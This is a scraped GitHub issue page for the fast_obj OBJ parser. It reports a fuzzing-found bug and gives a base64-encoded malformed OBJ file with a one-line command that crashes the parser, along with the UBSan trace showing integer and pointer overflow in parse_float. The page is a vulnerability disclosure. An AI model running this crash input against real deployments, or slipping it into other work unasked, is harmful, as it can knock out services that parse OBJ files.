Comments (2)
Forgive me if I won't log into a website I've never heard of before with my github account... Happy for you to post something here, also happy for you to submit a fix for whatever it is :)
from fast_obj.
✍️ Description
Whilst experimenting with the test code built from commit d97389 with Clang 11 (+UBSan) on Ubuntu 20.04.2 LTS, we discovered an OBJ file which produces a signed integer overflow and a pointer overflow followed by a SIGSEGV
🕵️♂️ Proof of Concept
echo "dnQ1RTU1NTU1NTU1NTE1NTXKNTU1NTU1NTU1NTU1NTU1aV81NTU1NTU1NTU1NTU1NTU1NTU1NTUA
CNwQNTU1NTU0MzA2NDY2Njg4NTM4MDE0MTQgADU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1
NTU1NTU1NTE1NzIyNjQxMzk0MTkABezINTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1
NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1eF8AIAAAAAIAAHNpAAkhvF9jAAAAAHM1NWMAAAAAXw==" | base64 -d > /tmp/fuzz.obj && ./test /tmp/fuzz.obj
The above POC produces this UBSan stack trace:
/root/fast_obj/fast_obj.h:591:23: runtime error: signed integer overflow: 10 * 555555555 cannot be represented in type 'int'
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /root/fast_obj/fast_obj.h:591:23 in
/root/fast_obj/fast_obj.h:593:44: runtime error: pointer index expression with base 0x00000050bc20 overflowed to 0xfffffffc07a30638
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /root/fast_obj/fast_obj.h:593:44 in
UndefinedBehaviorSanitizer:DEADLYSIGNAL
==3275132==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0xfffffffc07a30638 (pc 0x00000049f77b bp 0x7ffe3ae5de20 sp 0x7ffe3ae5ddd0 T3275132)
==3275132==The signal is caused by a READ memory access.
#0 0x49f77b in parse_float(char const*, float*) /root/fast_obj/fast_obj.h:593:44
#1 0x49803b in parse_texcoord(fastObjData*, char const*) /root/fast_obj/fast_obj.h:628:15
#2 0x46ae68 in parse_buffer(fastObjData*, char const*, char const*, fastObjCallbacks const*, void*) /root/fast_obj/fast_obj.h:1176:21
#3 0x468635 in fast_obj_read_with_callbacks /root/fast_obj/fast_obj.h:1403:9
#4 0x4642a0 in fast_obj_read /root/fast_obj/fast_obj.h:1283:12
#5 0x49414d in main /root/fast_obj/test/test.cpp:138:22
#6 0x7f97ca1e40b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x440c6d in _start (/root/fast_obj/build/test+0x440c6d)
UndefinedBehaviorSanitizer can not provide additional info.
SUMMARY: UndefinedBehaviorSanitizer: SEGV /root/fast_obj/fast_obj.h:593:44 in parse_float(char const*, float*)
==3275132==ABORTING
💥 Impact
An integer overflow or wraparound occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may wrap to become a very small or negative number. While this may be intended behavior in circumstances that rely on wrapping, it can have security consequences if the wrap is unexpected. This is especially the case if the integer overflow can be triggered using user-supplied inputs. This becomes security-critical when the result is used to control looping, make a security decision, or determine the offset or size in behaviors such as memory allocation, copying, concatenation, etc.
@thisistherk - no worries at all, please see the above!
from fast_obj.
Related Issues (20)
- Support for line continuations
- Performance Ideas: 2 pass ? HOT 4
- Adds a .clang-format at project root ?
- dummy data HOT 2
- Versionning in file header HOT 3
- Support both Unix and Windows style paths HOT 2
- obj writer HOT 2
- Including in another CMake build system project via ExternalProject HOT 2
- Capital vs non-capital
- Support Vertex Color OBJ Format HOT 3
- Allow certain vertex attributes to be skipped
- Possible memory leak when calling fast_obj_read_with_callbacks() HOT 2
- Memory leak HOT 2
- bug - off by one HOT 1
- We ported FastObj to Unity HOT 2
- Infinite loop / crash with invalid input
- Maybe an option to not skip empty objects?
- Confused about OpenGL usage HOT 3
- Would it make sense to unify materials/vertices/indices arrays? HOT 2
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from fast_obj.